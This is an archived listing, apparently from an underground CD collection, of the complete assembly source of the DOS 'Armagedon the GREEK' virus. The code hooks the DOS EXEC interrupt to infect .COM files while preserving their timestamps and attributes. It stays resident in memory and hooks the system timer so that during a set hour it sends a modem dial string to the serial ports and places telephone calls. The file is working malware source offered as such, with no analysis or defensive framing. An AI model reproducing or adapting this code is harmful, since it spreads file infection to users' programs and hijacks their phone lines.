home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / a / armagedo.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  17.1 KB  |  524 lines

  1. dta                        equ            offset last_byte+10
  2.  
  3. virlen                equ            (offset last_byte - offset start)
  4.  
  5. strlen                equ            (offset endstr - offset startstr)
  6.  
  7.  
  8.  
  9. code                    segment
  10.  
  11.                             assume     cs:code,ds:code
  12.  
  13.                             org            100h
  14.  
  15. start:                jmp         main
  16.  
  17.  
  18.  
  19. newint21            proc         far                                        ; SETS THE 'INT 21h' VIRUSED
  20.  
  21.                             pushf                                                  ; Save flags for compare     
  22.  
  23.                       cmp         ah,0e0h               ; Is it exist-test?      
  24.  
  25.                       jnz         notest1               ; if not go on   
  26.  
  27.                         mov         ax,0dadah             ; else return signature,
  28.  
  29.                       popf                                                    ; restore flag and
  30.  
  31.                             iret                            ; return to program
  32.  
  33. notest1:            cmp            ah,0e1h
  34.  
  35.                             jnz            notest2
  36.  
  37.                             mov            ax,cs
  38.  
  39.                             popf
  40.  
  41.                             iret
  42.  
  43. notest2:      cmp         ax,4b00h              ; is 'EXEC' command?
  44.  
  45.                             jz             infector                            ; if yes go to 'infection'
  46.  
  47. do_oldint:    popf                            ; restore flags        
  48.  
  49.                       jmp         dword ptr cs:oldint21a; jump to normal INT 21h
  50.  
  51. newint21            endp
  52.  
  53.  
  54.  
  55. oldint21a            dw             ?                                            ; old INT 21h vector (low)
  56.  
  57. oldint21b            dw             ?                                            ; old INT 21h vector (high)
  58.  
  59. oldint8a            dw             ?                                            ; old INT 8 vector (low)
  60.  
  61. oldint8b            dw             ?                                            ; old INT 8 vector (high)
  62.  
  63. status                db             0                                            ; flag for time (call in progress)
  64.  
  65. ticks                    db             0                                            ; 18.2 tick counter
  66.  
  67. cur_h                    db             0                                            ; Current time (HOURS)
  68.  
  69. cur_m                    db             0                                            ; Current time (MINUTES)
  70.  
  71. cur_s                    db             0                                            ; Current time (SECONDS)
  72.  
  73. count                    dw             0                                            ; dial counter (30 sec, 540 ticks)
  74.  
  75. garbidge            db            0
  76.  
  77. stringpos            db            0
  78.  
  79. call_made            db            0
  80.  
  81. init_done            db            0
  82.  
  83. comext                db             'COM'                                    ; Valid inf. extension
  84.  
  85. handle                dw             ?                                            ; inf. handle number
  86.  
  87. filesize            dw            20
  88.  
  89. prseg                    dw            ?
  90.  
  91. seg_buffer        dw            ?
  92.  
  93. ss_reg                dw            ?
  94.  
  95. sp_reg                dw            ?
  96.  
  97. fileds                dw            ?
  98.  
  99. filedx                dw            ?
  100.  
  101. attr                    dw            ?
  102.  
  103. filedate            dw            ?
  104.  
  105. filetime            dw            ?
  106.  
  107.  
  108.  
  109. env_seg                dw            00h
  110.  
  111. cdline_offs        dw            81h
  112.  
  113. cdline_seg        dw            ?
  114.  
  115. fcb1_offs            dw            5ch
  116.  
  117. fcb1_seg            dw            ?
  118.  
  119. fcb2_offs            dw            6ch
  120.  
  121. fcb2_seg            dw            ?
  122.  
  123.  
  124.  
  125. infector            proc         near                                    ; PROGRAM INFECTOR
  126.  
  127.                             assume     cs:code                                ;
  128.  
  129.                             push         ds                                        ; save registers to
  130.  
  131.                             push         bx                                        ; insure normal operation
  132.  
  133.                             push         si                                        ; by the INT 21h (ah=4b00h)
  134.  
  135.                           push         cx                                        ; 
  136.  
  137.                             push         ax                                        ;
  138.  
  139.                           push         dx                                        ;
  140.  
  141.                             push         bp                                        ;
  142.  
  143.                             push         es                                        ;
  144.  
  145.                             push        di                                        ;
  146.  
  147.  
  148.  
  149.                             cld                                                        ; Reset direction to increament
  150.  
  151.                             push         dx                                        ; Store the address of the
  152.  
  153.                             push         ds                                        ; filespec (DS:DX)
  154.  
  155.                             xor            cx,cx                                    ; reset counter
  156.  
  157.                             mov            si,dx                                    ; set ptr to filespec
  158.  
  159. nxtchr:                mov         al,ds:[si]                        ; take a char
  160.  
  161.                             cmp         al,0                                    ; is it zero?
  162.  
  163.                             jz            okay                                    ; if yes goto okay
  164.  
  165.                             inc         cx                                        ; else increase counter
  166.  
  167.                             inc         si                                        ; and pointer
  168.  
  169.                             jmp            nxtchr                                ; take the next chr if CX>0
  170.  
  171. okay:
  172.  
  173.                             add            dx,cx                                    ; Point to end of filespec
  174.  
  175.                             sub            dx,3                                    ; point to .EXT
  176.  
  177.                             mov         si,offset comext            ; Check if it is a
  178.  
  179.                             mov         di,dx                                    ; .COM file
  180.  
  181.                             cmp            byte ptr ds:[di-3],'N'; 
  182.  
  183.                             jnz            ok_1                                    ; Is it a ND. ?
  184.  
  185.                             cmp            byte ptr ds:[di-2],'D'; if yes exit!
  186.  
  187.                             jz            nmatch                                ;
  188.  
  189. ok_1:                    mov         cx,3                                    ; checking counter in 3
  190.  
  191. cmp_loop:            mov         al,cs:[si]                        ;    take 1st ptr's chr
  192.  
  193.                             cmp         al,ds:[di]                        ;    and compare it with filespec
  194.  
  195.                             jnz         nmatch                                ; If no matching, exit
  196.  
  197.                             inc         si                                        ; else increase 1st ptr
  198.  
  199.                             inc         di                                        ; and second ptr
  200.  
  201.                             loop         cmp_loop                            ; take next compare if CX>0
  202.  
  203.  
  204.  
  205.                             pop         ds                                        ;    restore ds and dx to point
  206.  
  207.                             pop         dx                                        ; 
  208.  
  209.                             
  210.  
  211.                             push         dx                                        ; Store pointer
  212.  
  213.                             push         ds                                        ;                    
  214.  
  215.                             mov         si,dx                                    ; Check if filespec    
  216.  
  217.                             mov         dl,0                                    ; contains a drive
  218.  
  219.                             cmp         byte ptr ds:[si+1],':'; letter
  220.  
  221.                             jnz         nodrive                                ; If no jump to nodrive spec.
  222.  
  223.                             mov         dl,ds:[si]                        ; else take the drive in DL
  224.  
  225.                             and         dl,0fh                                ; and modify for int 21h (ah=36h)
  226.  
  227. nodrive:            mov         ah,36h                                ; Take free disk space of DL disk 
  228.  
  229.                             int         21h                                        ; Do the call
  230.  
  231.                             cmp         ax,0ffffh                            ; Was an invalid drive specified?
  232.  
  233.                             jz             nmatch                                ; if yes, exit
  234.  
  235.                             jmp            bypass                                ; Correct jx 127 limit
  236.  
  237.  
  238.  
  239. nmatch:                jmp            nomatch
  240.  
  241. invd:                    jmp            invdrive
  242.  
  243. closeit1:            jmp            closeit
  244.  
  245. resdta1:            jmp            resdta
  246.  
  247.  
  248.  
  249. bypass:                cmp         bx,3                                    ; Are there at least 3 clust. free?
  250.  
  251.                             jb             nmatch                                ; If no, exit
  252.  
  253.                             pop         ds                                        ; restore pointers
  254.  
  255.                             pop         dx                                        ;
  256.  
  257.  
  258.  
  259.                             push        ds                                        ; and allocate memory
  260.  
  261.                             push        dx                                        ; for the infection
  262.  
  263.                             mov          cs:fileds,ds
  264.  
  265.                             mov            cs:filedx,dx
  266.  
  267.                             mov            ax,4300h                            ; code for Get Attr
  268.  
  269.                             int            21h
  270.  
  271.                             mov            cs:attr,cx
  272.  
  273.                             mov            ax,4301h
  274.  
  275.                             xor            cx,cx
  276.  
  277.                             int            21h
  278.  
  279.  
  280.  
  281.                             mov            bx,0ffffh
  282.  
  283.                             mov            ah,48h
  284.  
  285.                             int            21h
  286.  
  287.                             mov            ah,48h
  288.  
  289.                             int            21h
  290.  
  291.                             mov            cs:seg_buffer,ax
  292.  
  293.  
  294.  
  295.                             mov            ax,cs
  296.  
  297.                             mov            ds,ax
  298.  
  299.                             mov            dx,dta
  300.  
  301.                             mov            ah,1ah
  302.  
  303.                             int            21h
  304.  
  305.     
  306.  
  307.                             pop            dx
  308.  
  309.                             pop            ds
  310.  
  311.                             mov         ax,3d02h                            ; DosFn OPEN FILE (R/W)
  312.  
  313.                             clc                                                        ; Clear carry flag
  314.  
  315.                             int         21h                                        ; Do open
  316.  
  317.                             jc            closeit1                            ; If Error exit
  318.  
  319.                             mov          bx,ax                                    ; Handle to BX
  320.  
  321.                             mov            cs:handle,ax                    ; save handle
  322.  
  323.                             mov         cx,0ffffh                            ; Bytes to read
  324.  
  325.                             mov            ax,cs:seg_buffer            ;
  326.  
  327.                             mov            ds,ax                                    ;
  328.  
  329.                             mov            dx,virlen                            ; DS:DX points to buffer
  330.  
  331.                             mov            ah,3fh                                ; DosFn READ FROM FILE
  332.  
  333.                             clc                                                        ; clear carry flag
  334.  
  335.                             int            21h                                        ; Do the call
  336.  
  337.                             jc            closeit1                            ; if error exit
  338.  
  339.                             mov            cs:filesize,ax                ; Num of bytes actually read
  340.  
  341.                                 ;cmp            ax,0e000h                            ; max com size to infect
  342.  
  343.                                 ;ja            closeit1                            ; if size>max exit 
  344.  
  345.                             cmp            ax,virlen                            ; if filesize is less than the
  346.  
  347.                             jb            virit                                    ; virus size then it is clean
  348.  
  349.                             mov            si,virlen+1                        ; Set 1st ptr to START of file
  350.  
  351.                             add         si,si                                    ; add 1st ptr the length of file
  352.  
  353.                             sub            si,21                                    ; and subtract 12 to point to sig.
  354.  
  355.                             mov            cx,19                                    ; set the test loop to 10 bytes    
  356.  
  357.                             mov            di,offset signature        ; Set 2nd ptr to constant signature
  358.  
  359. test_sig:            mov            al,ds:[si]                        ; take the byte pointed to by SI
  360.  
  361.                             mov            ah,cs:[di]                        ; and compare it with the byte
  362.  
  363.                             cmp            ah,al                                    ; pointed to by DI
  364.  
  365.                             jne            virit                                    ; if not equal then it is clean!
  366.  
  367.                             inc            si                                        ; else increase 1st pointer
  368.  
  369.                             inc         di                                        ; increase 2nd pointer
  370.  
  371.                             loop        test_sig                            ; continue with next if CX>0
  372.  
  373.                             jmp            closeit
  374.  
  375.  
  376.  
  377. virit:                mov            ax,4200h                            ; Code for LSEEK (Start)
  378.  
  379.                             mov            bx,cs:handle                    ; Handle num in BX
  380.  
  381.                             xor            cx,cx                                    ; Reset CX
  382.  
  383.                             mov            dx,cx                                    ; and DX
  384.  
  385.                             int            21h                                        ; Do the call
  386.  
  387.                             jc            closeit
  388.  
  389.  
  390.  
  391.                             mov            si,offset start                
  392.  
  393.                             mov            cx,virlen
  394.  
  395.                             xor            di,di
  396.  
  397.                             mov            ax,cs:seg_buffer
  398.  
  399.                             mov            ds,ax
  400.  
  401. virusin:            mov            al,cs:[si]
  402.  
  403.                             mov            ds:[di],al
  404.  
  405.                             inc            si
  406.  
  407.                             inc            di
  408.  
  409.                             loop        virusin
  410.  
  411.  
  412.  
  413.                             mov            ax,5700h
  414.  
  415.                             mov            bx,cs:handle
  416.  
  417.                             int            21h
  418.  
  419.                             mov            cs:filetime,cx
  420.  
  421.                             mov            cs:filedate,dx                            
  422.  
  423.  
  424.  
  425.                             mov            ax,cs:seg_buffer
  426.  
  427.                             mov            ds,ax
  428.  
  429.  
  430.  
  431.                             mov            si,virlen
  432.  
  433.                             mov            al,ds:[si]
  434.  
  435.                             add            al,11
  436.  
  437.                             mov            ds:[si],al
  438.  
  439.  
  440.  
  441.                             xor            dx,dx                                    ; DX points to Buffer (file)
  442.  
  443.                             mov            cx,cs:filesize                ; Size of file in CX
  444.  
  445.                             add         cx,virlen                            ; But added by Virlen
  446.  
  447.                             mov            bx,cs:handle                    ; File handle num in BX
  448.  
  449.                             mov            ah,40h                                ; Code for WRITE FILE
  450.  
  451.                             int         21h                                        ; Do the call
  452.  
  453.  
  454.  
  455.                             mov            cx,cs:filetime
  456.  
  457.                             mov            dx,cs:filedate
  458.  
  459.                             mov            bx,cs:handle
  460.  
  461.                             mov            ax,5701h
  462.  
  463.                             int            21h
  464.  
  465.  
  466.  
  467. closeit:            mov            bx,cs:handle                    ; Handle in BX
  468.  
  469.                             mov            ah,3eh                                ; Code for CLOSE FILE
  470.  
  471.                             int            21h                                        ; Do close it
  472.  
  473.                             push        cs    
  474.  
  475.                             pop            ds
  476.  
  477. resdta:                mov            dx,80h                                ; Reset the DTA
  478.  
  479.                             mov            ah,1ah                                ; in Address 80H
  480.  
  481.                             int         21h                                        ; Do call
  482.  
  483.                             mov            ax,cs:seg_buffer
  484.  
  485.                             mov            es,ax
  486.  
  487.                             mov            ah,49h
  488.  
  489.                             int            21h
  490.  
  491.  
  492.  
  493.                             mov            ax,cs:fileds                    ;
  494.  
  495.                             mov            ds,ax                                    ;
  496.  
  497.                             mov            dx,cs:filedx                    ;
  498.  
  499.                             mov            ax,4301h                            ;
  500.  
  501.                             mov            cx,cs:attr                        ;
  502.  
  503.                             int         21h                                        ;
  504.  
  505.                             jmp         invdrive                            ; and exit
  506.  
  507. nomatch:            
  508.  
  509.                             pop         ds                                        
  510.  
  511.                             pop            dx
  512.  
  513.                             jmp     notinfect
  514.  
  515.  
  516.  
  517. invdrive:
  518.  
  519. notinfect:
  520.  
  521.                             pop            di                                        ; restore registers
  522.  
  523.                             pop         es                                        ; to their initial 
  524.  
  525.                             pop         bp                                        ; values
  526.  
  527.                             pop         dx                                        ;
  528.  
  529.                             pop         ax                                        ;
  530.  
  531.                             pop         cx                                        ;
  532.  
  533.                             pop         si                                        ;
  534.  
  535.                             pop         bx                                        ;
  536.  
  537.                             pop         ds                                        ;
  538.  
  539.                             jmp         do_oldint                            ; return from call 
  540.  
  541. infector             endp
  542.  
  543.  
  544.  
  545. newint8                proc         far                                        ; VIRUS' TIMER ISR
  546.  
  547.                             push        bp                                        ; 
  548.  
  549.                             push        ds                                        ; store all registers
  550.  
  551.                             push         es                                        ; and flags before
  552.  
  553.                             push        ax                                        ; the new timer 
  554.  
  555.                             push        bx                                        ; operations.
  556.  
  557.                             push         cx                                        ; Otherwize a 'crush'
  558.  
  559.                             push         dx                                        ; is unavoidable
  560.  
  561.                             push        si                                        ;    
  562.  
  563.                             push        di                                        ;        
  564.  
  565.                             pushf                                                    ; Simulate an INT
  566.  
  567.                             call         dword ptr cs:oldint8a    ; Do old timer stuff
  568.  
  569.                             call         tick                                    ; update virus clock routine
  570.  
  571.                             push        cs
  572.  
  573.                             pop            ds
  574.  
  575.                             mov         ah,5                                    ; Check if time
  576.  
  577.                             mov            ch,cur_h                            ; is now above the
  578.  
  579.                             cmp         ah,ch                                    ; lower limit (5 o'clock)
  580.  
  581.                             ja             exitpoint                            ; if not, exit
  582.  
  583.                             mov         ah,6                                    ; Check if time
  584.  
  585.                             cmp         ah,ch                                    ; is now below the higher limit
  586.  
  587.                             jb             exitpoint                            ; if not, exit
  588.  
  589.                             mov         ah,status                            ; get the virus status
  590.  
  591.                             cmp            ah,1                                    ; test if call in progress
  592.  
  593.                             jz            in_progress                        ; if yes goto countdown routine
  594.  
  595.                             mov         ah,1                                    ; if not, set the status to 
  596.  
  597.                             mov            status,ah                            ; indicate 'In progress'
  598.  
  599.                             jmp         exitpoint                            ; and exit
  600.  
  601. in_progress:                                                                ; CALL IS IN PROGRESS!
  602.  
  603.                             call         dial                                    ; else call dial routine
  604.  
  605.                             inc         count                               ; CALL_TIMER
  606.  
  607.                             mov            ax,count
  608.  
  609.                             cmp            ax,540                                ; check for time-out
  610.  
  611.                             jne            exitpoint                            ; if not, exit else 
  612.  
  613.                             xor         ax,ax                                    ; set status to indicate
  614.  
  615.                             mov     status,ah                            ; 'ready to call'!
  616.  
  617.                             mov            count,ax                            ; reset call_timer 
  618.  
  619.                             mov            call_made,ah
  620.  
  621. exitpoint:    
  622.  
  623.                             pop         di                                        ; restore registers to 
  624.  
  625.                             pop            si                                        ; their values and
  626.  
  627.                             pop            dx                                        ; 
  628.  
  629.                             pop            cx                                        ;
  630.  
  631.                             pop            bx                                        ;
  632.  
  633.                             pop            ax                                        ;
  634.  
  635.                             pop            es                                        ;
  636.  
  637.                             pop         ds                                        ;
  638.  
  639.                             pop         bp                                        ;    
  640.  
  641.                             iret                                                    ; return to program
  642.  
  643. newint8                endp
  644.  
  645.  
  646.  
  647. tick                    proc         near                                    ; VIRUS' CLOCK ROUTINE
  648.  
  649.                             assume  cs:code,ds:code
  650.  
  651.                             push        cs
  652.  
  653.                             pop            ds
  654.  
  655.                             xor            al,al
  656.  
  657.                             mov         ah,ticks                            ; test if ticks have
  658.  
  659.                             cmp            ah,17                                    ; reached limit (17)
  660.  
  661.                             jnz            incticks                            ; if no, incerase ticks
  662.  
  663.                             mov            ah,cur_s                            ; test if seconds have
  664.  
  665.                             cmp            ah,59                                    ; reached limit (59)
  666.  
  667.                             jnz            incsec                                ; if no, increase seconds
  668.  
  669.                             mov         ah,cur_m                            ; test if minutes have
  670.  
  671.                             cmp         ah,59                                    ; reached limit (59)
  672.  
  673.                             jnz            incmin                                ; if no, increase minutes
  674.  
  675.                             mov         ah,cur_h                            ; test if hours have
  676.  
  677.                             cmp            ah,23                                    ; reached limit (23)
  678.  
  679.                             jnz            inchour                                ; if no, increase hours
  680.  
  681.                             mov            cur_h,al                            ; else reset hours
  682.  
  683. exitp3:                mov            cur_m,al                            ; reset minutes
  684.  
  685. exitp2:                mov            cur_s,al                            ; reset seconds
  686.  
  687. exitp1:                mov            ticks,al                            ; reset ticks
  688.  
  689.                             ret                                                        ; end exit
  690.  
  691. incticks:            inc         ticks                                    ; increase ticks
  692.  
  693.                             ret                                                        ; and exit
  694.  
  695. incsec:                inc            cur_s                                    ; increase seconds
  696.  
  697.                             jmp            exitp1                                ; and exit
  698.  
  699. incmin:                inc         cur_m                                    ; increase minutes
  700.  
  701.                             jmp            exitp2                                ; and exit
  702.  
  703. inchour:            inc            cur_h                                    ; increase hours 
  704.  
  705.                             jmp         exitp3                                ; end exit
  706.  
  707. tick                    endp
  708.  
  709.  
  710.  
  711. startstr:
  712.  
  713. string                db             '+++aTh0m0s7=35dp081,,,,141'
  714.  
  715. endstr:
  716.  
  717.  
  718.  
  719. dial                    proc         near
  720.  
  721.                             assume     cs:code,ds:code
  722.  
  723.                             
  724.  
  725.                             mov            al,call_made
  726.  
  727.                             cmp            al,1
  728.  
  729.                             jz            exit_dial
  730.  
  731.                             mov            al,init_done
  732.  
  733.                             cmp            al,1
  734.  
  735.                             jz            send_one
  736.  
  737.                             
  738.  
  739.                             mov            cx,3
  740.  
  741. next_init:        mov         dx,cx
  742.  
  743.                             xor            ah,ah
  744.  
  745.                             mov         al,131
  746.  
  747.                             int         14h
  748.  
  749.                             loop         next_init
  750.  
  751.                             mov            al,1
  752.  
  753.                             mov            init_done,al
  754.  
  755.                             jmp            exit_dial
  756.  
  757.  
  758.  
  759. send_one:            push        cs
  760.  
  761.                             pop            ds
  762.  
  763.                             mov         si,offset string
  764.  
  765.                             mov            al,stringpos
  766.  
  767.                             cmp            al,strlen
  768.  
  769.                             jnz            do_send
  770.  
  771.                             jmp            sendret
  772.  
  773.  
  774.  
  775. do_send:            xor            ah,ah
  776.  
  777.                             add            si,ax
  778.  
  779. next_char:        mov         al,[si]
  780.  
  781.                             mov         dx,3f8h
  782.  
  783.                             out         dx,al
  784.  
  785.                             mov         dx,2f8h
  786.  
  787.                             out         dx,al
  788.  
  789.                             mov         dx,2e8h
  790.  
  791.                             out         dx,al
  792.  
  793.                             mov         dx,3e8h
  794.  
  795.                             out         dx,al
  796.  
  797.                             inc            stringpos
  798.  
  799.                             jmp            exit_dial
  800.  
  801.  
  802.  
  803. sendret:            mov            cx,3
  804.  
  805. retloop:            mov            dx,cx
  806.  
  807.                             mov            al,13
  808.  
  809.                             mov            ah,1
  810.  
  811.                             int            14h
  812.  
  813.                             loop        retloop
  814.  
  815.  
  816.  
  817. reset:                mov            ax,0001h
  818.  
  819.                             mov            call_made,al
  820.  
  821.                             mov            stringpos,ah
  822.  
  823.                             mov            init_done,ah
  824.  
  825. exit_dial:        ret
  826.  
  827. dial                    endp
  828.  
  829.  
  830.  
  831. main:                                                                                ; VIRUS' MEMORY INSTALLER 
  832.  
  833.                             assume  cs:code,ds:code              ; 
  834.  
  835.                             mov         ah,0e0h                                ; is VIRUS already 
  836.  
  837.                             int         21h                                        ; in memory?
  838.  
  839.                             cmp         ax,0dadah                            ; if yes then
  840.  
  841.                             jnz          cont                                    ; terminate, else
  842.  
  843.                             jmp            already_in
  844.  
  845. cont:                    push        cs
  846.  
  847.                             pop            ds
  848.  
  849.                             mov         ax,3521h                            ; capture the old             
  850.  
  851.                             int         21h                                        ; INT 21h vector and
  852.  
  853.                             mov         oldint21a,bx                    ; store the absolute address
  854.  
  855.                             mov         oldint21b,es                    ; in 'oldint21x' variables
  856.  
  857.                             mov         dx,offset newint21        ; point to new INT 21h ISR
  858.  
  859.                             mov         ax,2521h                            ; replace it to vector
  860.  
  861.                             int         21h                                        ; 
  862.  
  863.                             mov         ax,3508h                            ; capture the old
  864.  
  865.                             int         21h                                        ; timer vector and
  866.  
  867.                             mov         oldint8a,bx                        ; store the address
  868.  
  869.                             mov         oldint8b,es                        ; in 'oldint8x' var
  870.  
  871.                             mov         dx,offset newint8            ; point to new timer ISR
  872.  
  873.                             mov         ax,2508h                            ; replace it to vector
  874.  
  875.                             int         21h                                        ;  
  876.  
  877.                             mov         ah,2ch                                ; get the current
  878.  
  879.                             int         21h                                        ; time from DOS
  880.  
  881.                             mov         cur_h,ch                            ; and store it
  882.  
  883.                             mov         cur_m,cl                            ; for the 
  884.  
  885.                             mov         cur_s,dh                            ; virus' timer
  886.  
  887.                             ; RUN PROGRAM!
  888.  
  889.                             mov         ax,cs:[2ch]
  890.  
  891.                             mov            ds,ax
  892.  
  893.                             xor            si,si
  894.  
  895. loop1:                mov            al,ds:[si]
  896.  
  897.                             cmp         al,1
  898.  
  899.                             jz            exitl1
  900.  
  901.                             inc            si
  902.  
  903.                             jmp            loop1
  904.  
  905. exitl1:                inc            si
  906.  
  907.                             inc            si
  908.  
  909.                             mov         dx,si
  910.  
  911.  
  912.  
  913.                             mov            ax,cs
  914.  
  915.                             mov            es,ax                            ; SHRINK  BLOCK
  916.  
  917.                             mov            bx,90
  918.  
  919.                             mov            ah,4ah
  920.  
  921.                             int            21h
  922.  
  923.  
  924.  
  925.                             mov            bx,cs:[81h]
  926.  
  927.                             mov            ax,cs
  928.  
  929.                             mov            es,ax
  930.  
  931.                             mov            cs:fcb1_seg,ax
  932.  
  933.                             mov            cs:fcb2_seg,ax
  934.  
  935.                             mov            cs:cdline_seg,ax
  936.  
  937.                             mov            ax,4b00h
  938.  
  939.                             ;                    
  940.  
  941.                             ;
  942.  
  943.                             ;
  944.  
  945.                             mov            cs:ss_reg,ss
  946.  
  947.                             mov            cs:sp_reg,sp
  948.  
  949.                             pushf
  950.  
  951.                             call         dword ptr cs:oldint21a
  952.  
  953.                             mov            ax,cs:ss_reg
  954.  
  955.                             mov            ss,ax
  956.  
  957.                             mov            ax,cs:sp_reg
  958.  
  959.                             mov            sp,ax
  960.  
  961.                             mov            ax,cs
  962.  
  963.                             mov            ds,ax
  964.  
  965.                             mov         dx,offset last_byte
  966.  
  967.                             int         27h
  968.  
  969.                             
  970.  
  971. already_in:        mov            ah,0e1h
  972.  
  973.                             int            21h
  974.  
  975.                             mov            si,offset pokelabl
  976.  
  977.                             mov            cs:[si+3],ax
  978.  
  979.                             mov            ax,offset fix_com
  980.  
  981.                             mov            cs:[si+1],ax
  982.  
  983.                             mov            ax,cs:filesize
  984.  
  985.                             mov            bx,cs
  986.  
  987. pokelabl:            db            0eah,00h,00h,00h,00h
  988.  
  989.  
  990.  
  991. fix_com:            mov            cx,ax
  992.  
  993.                             mov            ds,bx
  994.  
  995.                             mov            si,100h
  996.  
  997.                             mov            di,100h+virlen
  998.  
  999. dofix:                mov            al,ds:[di]
  1000.  
  1001.                             mov            ds:[si],al
  1002.  
  1003.                             inc            si
  1004.  
  1005.                             inc            di
  1006.  
  1007.                             loop        dofix
  1008.  
  1009.                             mov            si,offset poklb
  1010.  
  1011.                             mov            cs:[si+3],ds
  1012.  
  1013.                             mov            al,ds:[100h]
  1014.  
  1015.                             sub            al,11
  1016.  
  1017.                             mov            ds:[100h],al
  1018.  
  1019.                             mov            ax,ds
  1020.  
  1021.                             mov            es,ax
  1022.  
  1023.                             mov            ss,ax
  1024.  
  1025. poklb:                db            0eah,00h,01h,00h,00h
  1026.  
  1027.  
  1028.  
  1029. signature:        db             'Armagedon the GREEK'
  1030.  
  1031. last_byte:        db            90h+11
  1032.  
  1033.                             nop
  1034.  
  1035.                             nop
  1036.  
  1037.                             nop
  1038.  
  1039.                             mov            ah,4ch
  1040.  
  1041.                             int         21h
  1042.  
  1043. code                    ends
  1044.  
  1045.                             end         start
  1046.  
  1047.